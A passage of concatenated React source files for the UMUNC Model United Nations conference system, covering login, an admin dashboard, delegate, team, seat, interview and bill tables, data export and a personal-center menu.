<li style = {olStyle}>申请步骤如页面所示,每一步都会有具体的详细提示信息,请确保认真阅读。</li>
<li style = {olStyle}>每一申请步骤都支持中途的暂存,但请注意,一旦确认提交,即进入下一流程,既往提交信息便锁定不可修改。</li>
<li style = {olStyle}>无论您是团队身份,亦或是个人身份申请,系统都会予以接受,具体信息可在【团队状态确认】中提交。请务必注意,团队状态涉及最终缴费的细节,请确保如实填写。</li>
<li style = {olStyle}>学术评测的提交,即会被发送到学术团队并等待分配面试,其中需要一定的时间,请耐心等待。</li>
<li style = {olStyle}>账号注册、面试分配、面试结果以及最终缴费通知都会即时通知到您注册的邮箱。</li>
<li style = {olStyle}>如若出现账号遗失或信息提交有误,请联系UMUNC团队。</li>
</ol>
<hr />
<h3>系统说明</h3>
<p style = {textStyle}>UMUNC会议系统是由UMUNC技术团队完全自主研发的一整套模联会议在线解决方案。全套体系包括IRIS用户中心模块、CHEETAH即时通讯模块、MPC综合信息模块等,各个模块之间共享所有的用户数据和身份。</p>
<p style = {textStyle}>请务必牢记当前账号的密码等信息,在会议期间,您将再次需要这个账号用以进入其他模块部分。</p>
<hr/>
</div>
);
export default Notifications;
<file_sep>/umunc/src/login/LogIn.js
import React, { Component } from 'react';
import { Form, Icon, Input, Button, Checkbox} from 'antd';
import BackGroundImage from '../image/urban-night-blur.jpg';
import axios from 'axios';
const FormItem = Form.Item;
class NormalLoginForm extends React.Component {
handleSubmit = (e) => {
e.preventDefault();
this.props.form.validateFields((err, values) => {
if (!err) {
axios.post('/login',{
email:values.userName,
password:<PASSWORD>,
})
.then((function(res){
res.data.err?this.props.history.push("/failed"):this.props.history.push(res.data.location);
}).bind(this))
.catch(function(err){
console.log(err);
});
console.log('Received values of form: ', values.userName);
}
});
};
componentDidMount(){
axios.get('/alive')
.then(res=>{
res.data.alive?this.props.history.push(res.data.location):null;
})
}
render() {
const { getFieldDecorator } = this.props.form;
return (
<div style = {{height: '100%',position:'fixed',
width: '100%',
'backgroundImage': `url(${BackGroundImage})`,
'backgroundPosition':'center'}}>
<div style = {{ margin: 'auto',height: '100hv',
padding: '15% 0',
maxWidth: 500}}>
<div style = {{position:'fixed',
textAlign: 'center',
margin: 'auto',
padding: 45,
width: 500,
'backgroundColor': 'rgba(255,255,255,0.75)',
borderRadius: 10}}>
<Form onSubmit={this.handleSubmit} style={{maxWidth:320, margin:'auto'}}>
<FormItem>
{getFieldDecorator('userName', {
rules: [{ required: true, message: '请输入您的邮箱!' }],
})(
<Input prefix={<Icon type="user" style={{ fontSize: 13 }} />} placeholder="邮箱" />
)}
</FormItem>
<FormItem>
{getFieldDecorator('password', {
rules: [{ required: true, message: '请输入您的密码!' }],
})(
<Input prefix={<Icon type="lock" style={{ fontSize: 13 }} />} type="password" placeholder="密码" />
)}
</FormItem>
<FormItem style = {{margin:0}}>
{getFieldDecorator('remember', {
valuePropName: 'checked',
initialValue: true,
})(
<Checkbox>记住密码</Checkbox>
)}
<a href="/login/passwordreset">忘记密码?</a>
<Button type="primary" htmlType="submit" style={{width:'100%'}}>
登录
</Button>
<a href="/register/init">注册!</a>
</FormItem>
</Form>
</div>
</div>
</div>
);
}
}
const LogIn = Form.create()(NormalLoginForm);
export default LogIn;
<file_sep>/umunc/src/dashboard/table/TabTable.js
import React, { Component } from 'react';
import TableItem from './TableItem';
import { Tabs } from 'antd';
const TabPane = Tabs.TabPane;
class TabTable extends React.Component{
render(){
return(
<Tabs defaultActiveKey="1" size="small" tabPosition = "right">
<TabPane tab={this.props.tabs[0]} key="1">{<TableItem format = {this.props.format} url={this.props.url[0]} mappingContent={this.props.mappingContent}/>}</TabPane>
<TabPane tab={this.props.tabs[1]} key="2">{<TableItem format = {this.props.format} url={this.props.url[1]} mappingContent={this.props.mappingContent}/>}</TabPane>
<TabPane tab={this.props.tabs[2]} key="3">{<TableItem format = {this.props.format} url={this.props.url[2]} mappingContent={this.props.mappingContent}/>}</TabPane>
</Tabs>
);
}
}
export default TabTable;
<file_sep>/umunc/src/dashboard/Dashboard.js
import React, { Component } from 'react';
import DashboardLayout from './DashboardLayout';
import { Card, Row, Col, Icon, Calendar } from 'antd';
import { Link } from 'react-router-dom';
import axios from 'axios';
class Dashboard extends React.Component {
state = {
numofDelegates:0,
numofTeams:0,
numofCommittees:0,
numofSeats:0,
numofFiles:0,
numofAdmins:0,
tocheck:0,
tointerview:0,
toseat:0,
todebt:0,
}
componentDidMount() {
axios.get("/index")
.then(res=>{
console.log("hhh");
this.setState({
numofDelegates:res.data.numofDelegates,
numofTeams:res.data.numofTeams,
numofCommittees:res.data.numofCommittees,
numofSeats:res.data.numofSeats,
numofFiles:res.data.numofFiles,
numofAdmins:res.data.numofAdmins,
tocheck:res.data.tocheck,
tointerview:res.data.tointerview,
toseat:res.data.toseat,
todebt:res.data.todebt,
})})
}
calendar = () => {
return(
<div style={{maxHeight:300, border: '1px solid #d9d9d9', borderRadius: 4 }}>
<Calendar fullscreen={false}/>
</div>
)
}
todo_list = () =>{
return(
<div style = {{fontSize:16, lineHeight:2, textIndent:'1em'}}>
{this.state.tocheck>0?<p><Link to="/dashboard/tocheck">{'还有 '}{this.state.tocheck}{' 位代表尚未审核通过'}</Link></p>:null}
{this.state.tointerview>0?<p><Link to="/dashboard/interview/personal">{'还有 '}{this.state.tointerview}{' 位代表尚未安排面试'}</Link></p>:null}
{this.state.toseat>0?<p><Link to="/dashboard/seats">{'还有 '}{this.state.toseat}{' 位代表尚未分配席位'}</Link></p>:null}
{this.state.todebt>0?<p><Link to="/dashboard/debts">{'还有 '}{this.state.todebt}{' 份账单待确认'}</Link></p>:null}
</div>
)
}
quick_reach = () =>{
return(
<Row gutter={24}>
<Col span={12}>
<Row style={{marginBottom:10}}><Card bodyStyle = {{ fontSize: 16, color: '#08c' }}>{<Icon type = "user" style={{ fontSize: 24, marginRight:20}}/>}{this.state.numofDelegates}{<Link to = "/dashboard/delegate">{' 位代表'}</Link>}</Card></Row>
<Row style={{marginBottom:10}}><Card bodyStyle = {{ fontSize: 16, color: '#08c' }}>{<Icon type = "team" style={{ fontSize: 24, marginRight:20 }} />}{this.state.numofTeams}{<Link to = "/dashboard/teams">{' 个代表团'}</Link>}</Card></Row>
<Row><Card bodyStyle = {{ fontSize: 16, color: '#08c' }}>{<Icon type = "tag-o" style={{ fontSize: 24, marginRight:20 }} />}{this.state.numofCommittees}{<Link to = "/dashboard/committees">{' 个委员会'}</Link>}</Card></Row>
</Col>
<Col span={12}>
<Row style={{marginBottom:10}}><Card bodyStyle = {{ fontSize: 16, color: '#08c' }}>{<Icon type = "flag" style={{ fontSize: 24, marginRight:20 }} />}{this.state.numofSeats}{<Link to = "/dashboard/seats">{' 个席位'}</Link>}</Card></Row>
<Row style={{marginBottom:10}}><Card bodyStyle = {{ fontSize: 16, color: '#08c' }}>{<Icon type = "file" style={{ fontSize: 24, marginRight:20 }} />}{this.state.numofFiles}{<Link to = "/dashboard/docus">{' 个文件'}</Link>}</Card></Row>
<Row><Card bodyStyle = {{ fontSize: 16, color: '#08c' }}>{<Icon type = "eye" style={{ fontSize: 24, marginRight:20 }} />}{this.state.numofAdmins}{<Link to = "/dashboard/admins">{' 位管理员'}</Link>}</Card></Row>
</Col>
</Row>
)
}
cards = () => {
return(
<div style={{ background: '#ECECEC', padding: '30px' }}>
<Row gutter={24}>
<Col span={12}>
<Row style={{marginBottom:24}}>
<Card title={<h2>快速访问</h2> }><this.quick_reach/></Card>
</Row>
<Row>
<Card title={<h2>待办事项</h2>}><this.todo_list/></Card>
</Row>
</Col>
<Col span={12}>
<Card title={<h2>日程安排</h2>}><this.calendar/></Card>
</Col>
</Row>
</div>
)
}
render() {
return (
<DashboardLayout tableTitle="控制板" defaultKey="7" content={<this.cards/>}/>
);
}
}
export default Dashboard;
<file_sep>/umunc/src/dashboard/add/AdCseat.js
import React, { Component } from 'react';
import AddItem from './AddItem';
import DinamicC from './DinamicC';
const formItemLayout = {
labelCol: {
xs: { span: 24 },
sm: { span: 6 },
},
wrapperCol: {
xs: { span: 24 },
sm: { span: 14 },
},
};
const tailFormItemLayout = {
wrapperCol: {
xs: {
span: 24,
offset: 0,
},
sm: {
span: 14,
offset: 6,
},
},
};
const Notification = () => {
return(
<div style={{lineHeight: 2}}>
<p>您可以在这里添加某一多代席位委员会的所有子席位。</p>
</div>
)
}
class AdCseat extends React.Component {
render() {
return (
<AddItem
defaultKey="17"
defaultOpenKeys="sub5"
head={<h2>子席位信息</h2>}
form={<DinamicC/>}
noti = {<Notification/>}
title="添加子席位"/>
);
}
}
export default AdCseat
<file_sep>/umunc/src/dashboard/add/AddItem.js
import React, { Component } from 'react';
import DashboardLayout from '../DashboardLayout';
import { Card, Row, Col, Icon, Calendar } from 'antd';
class AddItem extends React.Component {
cards = () => {
return(
<div style={{marginLeft:'10%'}}>
<Row gutter={24}>
<Col span={6}>
<Card title={<h2>说明</h2>}>{this.props.noti}</Card>
</Col>
<Col span={14}>
<Card title={this.props.head}>{this.props.form}</Card>
</Col>
</Row>
</div>
)
}
render() {
return (
<DashboardLayout tableTitle={this.props.title} content={<this.cards/>} defaultKey={this.props.defaultKey} defaultOpenKeys={this.props.defaultOpenKeys}/>
);
}
}
export default AddItem;
<file_sep>/umunc/src/signup/Failed.js
import React, { Component } from 'react';
import BackGroundImage from '../image/urban-night-blur.jpg';
class Failed extends React.Component {
render() {
return (
<div style = {{height:'100%', position:'fixed',
width: '100%',
'backgroundImage': `url(${BackGroundImage})`,
'backgroundPosition':'center'}}>
<div style = {{ margin: 'auto',
padding: '15% 0',
maxWidth: 500}}>
<div style = {{textAlign: 'center',position:'fixed',
margin: 'auto',
padding: 45,
width: 500,
'backgroundColor': 'rgba(255,255,255,0.75)',
borderRadius: 10}}>
<p>U SUCKED!</p>
<p>服务器炸了!!!</p>
<p>GOOD LUCK XD</p>
<a href = "/">没关系,让我们重新来过!</a>
</div>
</div>
</div>
);
}
}
export default Failed;
<file_sep>/umunc/src/dashboard/table/TableItem.js
import React, { Component } from 'react';
import {Table} from 'antd';
import axios from 'axios';
import { Link } from 'react-router-dom';
class TableItem extends React.Component{
state = {
data:[
],
}
componentDidMount() {
axios.get(this.props.url)
.then(res=>{
this.setState(
{data: res.data.map(this.props.mappingContent)}
)})
// this.setState(
// {data: test_data.map(this.props.mappingContent)}
// )
}
render(){
const format_seats = [{
title: 'No.',
dataIndex: 'id',
key: 'id',
}, {
title:'席位名称',
dataIndex:'seatName',
key:'seatName',
render: (text,record,index) => <Link to={`/dashboard/seats/edit/${this.state.data[index]._id}`}>{text}</Link>,
}, {
title:'所属委员会',
dataIndex:'commShortName',
key:'commShortName',
render: (text,record,index) => <Link to={`/dashboard/seats/list/${this.state.data[index].committee_id}`}>{text}</Link>,
}, {
title:'席位状态',
dataIndex:'seatState',
key:'seatState',
}, {
title:'难度等级',
dataIndex:'level',
key:'level',
}, {
title:'分配代表',
dataIndex:'delegate',
key:'delegate',
render: (text,record,index) => <Link to={`/dashboard/users/info/${this.state.data[index].delegate_id}`}>{text}</Link>,
}, {
title:'可分配情况',
dataIndex:'distrState',
key:'distrState',
}];
const format_committee = [{
title: 'No.',
dataIndex: 'id',
key: 'id',
}, {
title: '委员会名称.',
dataIndex: 'committeeName',
key: 'committeeName',
render: (text,record,index) => <Link to={`/dashboard/committees/edit/${this.state.data[index]._id}`}>{text}</Link>,
}, {
title:'缩写',
dataIndex:'shortName',
key:'shortName',
}, {
title:'人数',
dataIndex:'numofMembers',
key:'numofMembers',
render: (text,record,index) => <Link to={`/dashboard/committees/list/${this.state.data[index]._id}`}>{text}</Link>,
}, {
title:'主席团',
dataIndex:'presidium',
key:'presidium',
}, {
title:'席位',
dataIndex:'seats',
key:'seats',
render: (text,record,index) => <Link to={`/dashboard/committees/seats/${this.state.data[index]._id}`}>{text}</Link>,
}];
const format_debts = [{
title: 'No.',
dataIndex: 'id',
key: 'id',
}, {
title: '代表',
dataIndex: 'delegate',
key: 'delegate',
render: (text,record,index) => <Link to={`/dashboard/users/info/${this.state.data[index].delegate_id}`}>{text}</Link>,
}, {
title: '账单标题',
dataIndex: 'title',
key: 'title',
render: (text,record,index) => <Link to={`/dashboard/debts/info/${this.state.data[index]._id}`}>{text}</Link>,
}, {
title: '金额',
dataIndex: 'amount',
key: 'amount',
}, {
title: '账单生成时间',
dataIndex: 'debtBegin',
key: 'debtBegin',
}, {
title: '账单到期时间',
dataIndex: 'debtEnd',
key: 'debtEnd',
}, {
title: '账单状态',
dataIndex: 'debtState',
key: 'debtState',
}];
const format_intervs = [{
title: 'No.',
dataIndex: 'id',
key: 'id',
}, {
title: '面试者',
dataIndex: 'interviewee',
key: 'interviewee',
render: (text,record,index) => <Link to={`/dashboard/users/info/${this.state.data[index].interviewee_id}`}>{text}</Link>,
}, {
title: '面试官',
dataIndex: 'interviewer',
key: 'interviewer',
}, {
title: '分配面试',
dataIndex: 'distribution',
key: 'distribution',
}, {
title: '安排面试',
dataIndex: 'arrangement',
key: 'arrangement',
}, {
title: '面试完成',
dataIndex: 'complete',
key: 'complete',
}, {
title: '面试评分',
dataIndex: 'score',
key: 'score',
}];
const format_info =
[{
title: 'No.',
dataIndex: 'id',
key: 'id',
}, {
title: '姓名',
dataIndex: 'name',
key: 'name',
render: (text,record,index) => <Link to={`/dashboard/users/info/${this.state.data[index]._id}`}>{text}</Link>,
}, {
title: '团队',
dataIndex: 'teamname',
key: 'teamname',
}, {
title: '申请类型',
dataIndex: 'chineserole',
key: 'chineserole',
}, {
title: '申请状态',
dataIndex: 'apply_state',
key: 'apply_state',
}, {
title: '申请提交日期',
dataIndex: 'apply_date',
key: 'apply_date',
}, {
title: '所属委员会',
dataIndex: 'committee',
key: 'committee',
}];
const format_team = [{
title: 'No.',
dataIndex: 'id',
key: 'id',
}, {
title: '团队名称',
dataIndex: 'teamname',
key: 'teamname',
render: (text,record,index) => <Link to={`/dashboard/teams/edit/${this.state.data[index]._id}`}>{text}</Link>,
}, {
title: '团队人数',
dataIndex: 'numofMenbers',
key: 'numofMenbers',
render: (text,record,index) => <Link to={`/dashboard/teams/list/${this.state.data[index]._id}`}>{text}</Link>,
}, {
title: '支付队列',
dataIndex: 'payq',
key: 'payq',
}, {
title: '等待队列',
dataIndex: 'waitq',
key: 'waitq',
}, {
title: '领队',
dataIndex: 'leader',
key: 'leader',
render: (text,record,index) => <Link to={`/dashboard/users/info/${this.state.data[index].leader_id}`}>{text}</Link>,
}];
const format_docu = [{
title: 'No.',
dataIndex: 'id',
key: 'id',
}, {
title: '文件名称',
dataIndex: 'docuName',
key: 'docuName',
render: (text,record,index) => <Link to={`/dashboard/docus/edit/${this.state.data[index]._id}`}>{text}</Link>,
}, {
title: '发布日期',
dataIndex: 'publishDate',
key: 'publishDate',
}, {
title: '发布范围',
dataIndex: 'publishRange',
key: 'publishRange',
}, {
title: '版本',
dataIndex: 'version',
key: 'version',
}, {
title: '下载量',
dataIndex: 'downloadMount',
key: 'downloadMount',
}];
const format_admins = [{
title: 'No.',
dataIndex: 'id',
key: 'id',
}, {
title: '姓名',
dataIndex: 'name',
key: 'name',
render: (text,record,index) => <Link to={`/dashboard/admins/info/${this.state.data[index]._id}`}>{text}</Link>,
}, {
title: '称谓',
dataIndex: 'title',
key: 'title',
}, {
title: '委员会',
dataIndex: 'committee',
key: 'committee',
render: (text,record,index) => <Link to={`/dashboard/committees/edit/${this.state.data[index].committee_id}`}>{text}</Link>,
}, {
title: '权限',
dataIndex: 'authority',
key: 'authority',
}]
const format = [format_info,format_team,format_docu,format_intervs,format_debts,format_committee,format_seats,format_admins]
return(
<div>
<Table columns={format[this.props.format]} dataSource={this.state.data} bordered = {true} size="small" />
</div>
);
}
}
export default TableItem;
<file_sep>/umunc/src/dashboard/table/AllInterviews.js
import React, { Component } from 'react';
import DashboardLayout from '../DashboardLayout';
import TabTable from './TabTable';
const tabsName = ['全部面试','未完成面试','已完成面试']
class AllInterviews extends React.Component{
mappingContent = (ajaxdata) => {
let {id,interviewee,interviewer,distribution,arrangement,complete,score,interviewee_id}=ajaxdata;
return({key:id,id,interviewee,interviewer,distribution,arrangement,complete,score,interviewee_id})
}
render(){
const diffurl = [
'/interviews/all/?id=0',
'/interviews/all/?id=2',
'/interviews/all/?id=1',
]
return(
<DashboardLayout
tableTitle="全部面试队列"
defaultKey="5"
defaultOpenKeys="sub2"
content={<TabTable
tabs={tabsName}
url={diffurl}
mappingContent={this.mappingContent}
format={3}/>}/>
);
}
}
export default AllInterviews;
<file_sep>/umunc/src/dashboard/add/GroupMessage.js
import React, { Component } from 'react';
import AddItem from './AddItem';
import { Form, Select, Switch, Input,Button, Upload, Icon } from 'antd';
import {Editor, EditorState} from 'draft-js';
const formItemLayout = {
labelCol: {
xs: { span: 24 },
sm: { span: 6 },
},
wrapperCol: {
xs: { span: 24 },
sm: { span: 14 },
},
};
const tailFormItemLayout = {
wrapperCol: {
xs: {
span: 24,
offset: 0,
},
sm: {
span: 14,
offset: 6,
},
},
};
const Notification = () => {
return(
<div style={{lineHeight: 2}}>
<p>您可以在这里编辑文件信息。</p>
<p>文件不能再次上传。</p>
</div>
)
}
class GroupMessage extends React.Component { // 编辑器状态
state = {editorState: EditorState.createEmpty()};
// 双向绑定
constructor(props) {
super(props);
this.state = {editorState: EditorState.createEmpty()};
this.onChange = (editorState) => this.setState({editorState});
}
render() {
return (
<AddItem
head={<h2>群发消息</h2>}
form={<Editor editorState={this.state.editorState} onChange={this.onChange}/>}
noti = {<Notification/>}
title="群发消息"/>
);
}
}
export default GroupMessage
<file_sep>/umunc/src/dashboard/table/ObserverTable.js
import React, { Component } from 'react';
import TableItem from './TableItem';
import DashboardLayout from '../DashboardLayout';
class ObserverTable extends React.Component{
mappingContent = (ajaxdata) => {
let {id,name,teamname,chineserole,apply_state,apply_date,committee,_id}=ajaxdata;
return({key:id,id,name,chineserole,teamname,apply_state,apply_date,committee,_id})
}
render(){
return(
<DashboardLayout content={<TableItem format={0} url="/observerInfo" mappingContent={this.mappingContent}/>} tableTitle="观察员列表" defaultKey="2" defaultOpenKeys="sub1"/>
);
}
}
export default ObserverTable;
<file_sep>/umunc/src/dashboard/add/Export.js
import React, { Component } from 'react';
import AddItem from './AddItem';
import { Form, Input, Button, Switch, Select } from 'antd';
import axios from 'axios';
const FormItem = Form.Item;
const Option = Select.Option;
const { TextArea } = Input;
const formItemLayout = {
labelCol: {
xs: { span: 24 },
sm: { span: 6 },
},
wrapperCol: {
xs: { span: 24 },
sm: { span: 14 },
},
};
const tailFormItemLayout = {
wrapperCol: {
xs: {
span: 24,
offset: 0,
},
sm: {
span: 14,
offset: 6,
},
},
};
const CreateForm = Form.create()(
(props) => {
const { form, Submit } = props;
const { getFieldDecorator } = form;
return (
<div>
<Form>
<FormItem
{...formItemLayout}
label="以对象身份导出">
{getFieldDecorator('role', {
})(
<Select mode="multiple">
<Option value="delegate">代表</Option>
<Option value="mentor">指导老师</Option>
<Option value="observer">观察员</Option>
<Option value="volunteer">志愿者</Option>
<Option value="academic">学术团队</Option>
<Option value="admin">管理员</Option>
</Select>
)}
</FormItem>
<FormItem
{...formItemLayout}
label="以委员会导出">
{getFieldDecorator('committee', {
})(
<Select mode="multiple">
{children_c}
</Select>
)}
</FormItem>
<FormItem
{...formItemLayout}
label="以申请状态导出">
{getFieldDecorator('apply_state', {
})(
<Select mode="multiple">
<Option value="0">等待管理员审核</Option>
<Option value="1">审核已通过</Option>
<Option value="2">面试已分配</Option>
<Option value="3">面试已完成</Option>
<Option value="4">席位已分配</Option>
<Option value="5">等待缴费</Option>
<Option value="6">缴费已完成</Option>
<Option value="7">审核未通过</Option>
<Option value="8">面试未通过</Option>
</Select>
)}
</FormItem>
<FormItem
{...formItemLayout}
label="以用户权限导出">
{getFieldDecorator('authority', {
})(
<Select mode="multiple">
<Option value="0">资料审核</Option>
<Option value="1">面试分配组</Option>
<Option value="2">财务审核</Option>
<Option value="3">会务组</Option>
</Select>
)}
</FormItem>
<div style={{ background: '#ECECEC', height:1 ,marginBottom:20}}/>
<FormItem
{...formItemLayout}
label="导出内容">
{getFieldDecorator('export', {
})(
<Select mode="multiple">
<Option value="name">姓名</Option>
<Option value="_id">ID</Option>
<Option value="phone">电话号码</Option>
<Option value="email">邮箱</Option>
<Option value="role">身份</Option>
<Option value="guardian">监护人</Option>
<Option value="gphone">监护人电话</Option>
<Option value="firstChoice">第一志愿</Option>
<Option value="secondChoice">第二志愿</Option>
<Option value="apply_state">申请状态</Option>
</Select>
)}
</FormItem>
<FormItem
{...formItemLayout}
label="导出备注">
{getFieldDecorator('comments', {
})(
<TextArea rows={2} />
)}
</FormItem>
<FormItem
{...tailFormItemLayout}>
<Button type="primary" onClick={Submit} style={{width:'100%'}}>确认导出</Button>
</FormItem>
</Form>
</div>
);
}
);
const Notification = () => {
return(
<div style={{lineHeight: 2}}>
<p>您可以在这里导出需要的信息。</p>
<p>您可以以身份、委员会、申请状态、权限来筛选导出对象。</p>
</div>
)
}
const children_c = [];
class Export extends React.Component {
componentDidMount() {
axios.get("/committeeInfo")
.then(res => {
for (var i = 0; i < res.data.length; i++) {
children_c.push(<Option key={i} value={res.data[i].committeeName}>{res.data[i].committeeName + '(' + res.data[i].shortName + ')'}</Option>)
}
})
}
saveFormRef = (form) => {
this.form = form;
}
handleSubmit = () => {
const form = this.form;
form.validateFields((err, values) => {
if (!err) {
axios.post('/exportData',{
roleCondition: values.role,
committeeCondition: values.committee,
applyCondition: values.apply_state,
authorityCondition: values.authority,
exportInfo: values.export,
comments: values.comments,
})
.then((function(res){
console.log(res.data);
}).bind(this))
}
});
}
render() {
return (
<AddItem
defaultKey="22"
defaultOpenKeys="sub7"
head={<h2>数据筛选</h2>}
form={<CreateForm
Submit={this.handleSubmit}
ref={this.saveFormRef}/>}
noti = {<Notification/>}
title="导出文件"/>
);
}
}
export default Export
<file_sep>/umunc/src/dashboard/info/DebtsInfo.js
import React, { Component } from 'react';
import { Card, Row, Col, Icon, Calendar, Table, Button, Modal, Form, Input, Radio, DatePicker, Popconfirm } from 'antd'
import DashboardLayout from '../DashboardLayout';
import axios from 'axios';
const FormItem = Form.Item;
const payer=["代表姓名","邮箱","电话"]
const reciever=["主办方","邮箱"]
const billInfo=["生成日期","到期时间","支付状态"]
const billItem=["会费",800,"VIP",800]
const dataSource = [{}]
const columns = [{
title: '姓名',
dataIndex: 'name',
key: 'name',
}, {
title: '转账日期',
dataIndex: 'date',
key: 'date',
}, {
title: '交易流水号',
dataIndex: 'billnum',
key: 'billnum',
}, {
title: '交易方式',
dataIndex: 'py',
key: 'py',
},{
title: '金额',
dataIndex: 'money',
key: 'money',
}];
class DebtsInfo extends React.Component{
state = {
name: '<NAME>',
email: '<EMAIL>',
phone: '12345657',
reciever: 'UMUNC',
reciever_email: '<EMAIL>',
generated_time: '2017-9-23',
due: '2017-9-24',
payment_condition: '账单已支付',
bill_title: '会费',
bill: 800,
_id: '',
transfer_records: [{
key:'1',
name: '波先生',
date: '2017-9-28',
billnum: '123123123',
py: '支付宝',
money: '800',
}],
}
componentDidMount(){
const rid = this.props.history.location.pathname.split("/");
axios.get(`/debtInfo?id=${rid[4]}`)
.then(res=>{
this.setState(
{
name: res.data.name, //代表姓名
email: res.data.email, //代表邮箱
phone: res.data.phone, //代表电话
reciever: res.data.reciever, //收款方名称 eg:umunc
reciever_email: res.data.reciever_email, //收款方邮箱
generated_time: res.data.generated_time, //账单生成时间
due: res.data.due, //账单到期时间
payment_condition: res.data.payment_condition, //支付情况 eg:已支付/未支付
bill_title: res.data.bill_title, //款项
bill: res.data.bill, //金额 num
total: res.data.total, //总计金额
_id: this.rid[4], //账单真id
transfer_records: res.data.transfer_records, //转账记录
}
)
})
}
handleConfirm = () => {
const form = this.form;
axios.post('/debtConfirmAdmin',{
_id: this.state._id,
msg: true,
})
.then((function(res){
console.log(res.data);
}).bind(this))
}
saveFormRef = (form) => {
this.form = form;
}
cards = () => {
return(
<div style={{ padding: '10px' }}>
<Row gutter={16}>
<Col span={12}>
<Card title={<h2>支付人</h2>} bordered={true}>
<p style={{fontSize:'16px'}}>代表姓名:{this.state.name}</p>
<p style={{fontSize:'16px'}}>邮箱:{this.state.email}</p>
<p style={{fontSize:'16px'}}>电话:{this.state.phone}</p>
</Card>
</Col>
<Col span={12}>
<Card title={<h2>收款方</h2>} bordered={true}>
<p style={{fontSize:'16px'}}>{this.state.reciever}</p>
<p style={{fontSize:'16px'}}>邮箱:<a>{this.state.reciever_email}</a></p>
</Card>
</Col>
</Row>
<br /><br />
<Row gutter={18}>
<Col span={24}>
<Card title={<h2>账单</h2>} bordered={true} extra={<Popconfirm placement="bottomRight" title="确认账单?" onConfirm={this.handleConfirm} okText="确认" cancelText="取消"><Button type="primary" ghost>确认账单</Button></Popconfirm>}>
<p style={{fontSize:'16px'}}>生成日期:{this.state.generated_time}</p>
<p style={{fontSize:'16px'}}>到期时间:{this.state.due}</p>
<p style={{fontSize:'16px'}}>支付状态:{this.state.payment_condition}</p>
<br /><br /><br />
<Col span={18}>
<h2 >账单项目</h2>
<p style={{fontSize:'16px'}}>{this.state.bill}</p>
<h2 >总计:</h2>
</Col>
<Col span={6}>
<h2 >金额</h2>
<p style={{fontSize:'16px'}}>¥{this.state.bill}</p>
<h2 >¥{this.state.bill}</h2>
</Col>
</Card>
<br /><br />
<Card title={<h2>转账记录</h2>} bordered={true}>
<Table bordered={true} size="small" pagination={false} dataSource={this.state.transfer_records} columns={columns} />
</Card>
</Col>
</Row>
</div>
)
}
render(){
return(
<DashboardLayout tableTitle="账单详情" defaultKey="18" content={<this.cards/>}/>
);
}
}
export default DebtsInfo;
<file_sep>/umunc/src/dashboard/add/AdTeam.js
import React, { Component } from 'react';
import AddItem from './AddItem';
import { Form, Input, Button } from 'antd';
import axios from 'axios';
const FormItem = Form.Item;
const formItemLayout = {
labelCol: {
xs: { span: 24 },
sm: { span: 6 },
},
wrapperCol: {
xs: { span: 24 },
sm: { span: 14 },
},
};
const tailFormItemLayout = {
wrapperCol: {
xs: {
span: 24,
offset: 0,
},
sm: {
span: 14,
offset: 6,
},
},
};
const CreateForm = Form.create()(
(props) => {
const { form, Submit } = props;
const { getFieldDecorator } = form;
return (
<div>
<Form>
<FormItem
{...formItemLayout}
label="代表团名称">
{getFieldDecorator('teamname', {
rules:[{required: true, message: '请填写代表团名称!'}]
})(
<Input/>
)}
</FormItem>
<FormItem
{...formItemLayout}
label="加入口令">
{getFieldDecorator('key', {
rules:[{required: true, message: '请填写加入口令!'},
{min:5, message:"口令太短了!老铁!"},
{max:7, message:"口令太长了!老铁!"}]
})(
<Input placeholder="例:苟利国家生死以"/>
)}
</FormItem>
<FormItem
{...tailFormItemLayout}>
<Button type="primary" onClick={Submit} style={{width:'100%'}}>添加代表团</Button>
</FormItem>
</Form>
</div>
);
}
);
const Notification = () => {
return(
<div style={{lineHeight: 2}}>
<p>您可以在这里添加代表团。</p>
<p>团队领队可在对应的代表资料页面中设置。</p>
</div>
)
}
class AdTeam extends React.Component {
saveFormRef = (form) => {
this.form = form;
}
handleSubmit = () => {
const form = this.form;
form.validateFields((err, values) => {
if (!err) {
axios.post('/addTeam',{
teamname: values.teamname,
key: values.key,
})
.then((function(res){
console.log(res.data);
}).bind(this))
console.log('Received values of form: ', values);
}
});
}
render() {
return (
<AddItem
head={<h2>代表团信息</h2>}
defaultKey="11"
defaultOpenKeys="sub3"
form={<CreateForm Submit={this.handleSubmit}
ref={this.saveFormRef}/>}
noti = {<Notification/>}
title="添加代表团"/>
);
}
}
export default AdTeam
<file_sep>/umunc/src/personalCenter/perCenter.js
import React from 'react';
import { Layout, Menu, Dropdown, Icon } from 'antd';
import { Link } from 'react-router-dom';
import Logo from '../image/umc1.2.svg';
import axios from 'axios';
const { Header, Content, Footer, Sider } = Layout;
class PerCenter extends React.Component {
handleClick = () => {
axios.post('/liuleliule',{
message:'怕是溜了哦怕是',
})
.then(function(res){
res.data.err?alert(res.data.msg):window.location.href = window.location.origin;
})
}
render(){
return(
<Layout style={{backgroundColor:'rgba(0,0,0,0.65)'}}>
<Sider style={{ background:'#fff',overflow: 'auto', height: '100vh', position: 'fixed', left: 0 }}>
<div style={{height:64, display:'inline'}}><img src = {Logo} style={{height:80, width:80}}/><Link to = "/personalCenter/status" style={{fontSize:27,textAlign:'right'}}>UMUNC</Link></div>
<br /><br />
<Menu theme="light" mode="inline" defaultSelectedKeys={[this.props.defaultKey]} onClick={this.handleClick} >
<Menu.Item key="1"><Link to="/personalCenter/status">
<Icon type="compass" style={{fontSize:'18px'}}/>
<span className="nav-text" >申请</span></Link>
</Menu.Item>
<Menu.Item key="2"><Link to="/personalCenter/profile">
<Icon type="file-text" style={{fontSize:'18px'}}/>
<span className="nav-text">个人资料</span></Link>
</Menu.Item>
<Menu.Item key="3"><Link to="/personalCenter/interview">
<Icon type="user" style={{fontSize:'18px'}}/>
<span className="nav-text">面试</span></Link>
</Menu.Item>
<Menu.Item key="4"><Link to="/personalCenter/seat">
<Icon type="flag" style={{fontSize:'18px'}}/>
<span className="nav-text">席位</span></Link>
</Menu.Item>
<Menu.Item key="5"><Link to="/personalCenter/invoice">
<Icon type="credit-card" style={{fontSize:'18px'}}/>
<span className="nav-text">账单</span></Link>
</Menu.Item>
</Menu>
</Sider>
<Layout style={{ marginLeft: 200 }}>
<Header style={{ background: '#fff', padding: 0 ,height:47}}>
<div>
<div style={{margin:'-10px 0px',padding:'0px 10px',float:'right', display:'inline', width:'150px'}} >
<Dropdown overlay={<Menu onClick={this.handleClick} >
<Menu.Item key="6"><Link to="/personalCenter/profile">个人资料</Link></Menu.Item>
<Menu.Item key="7"><Link to="/personalCenter/setting">设置</Link></Menu.Item>
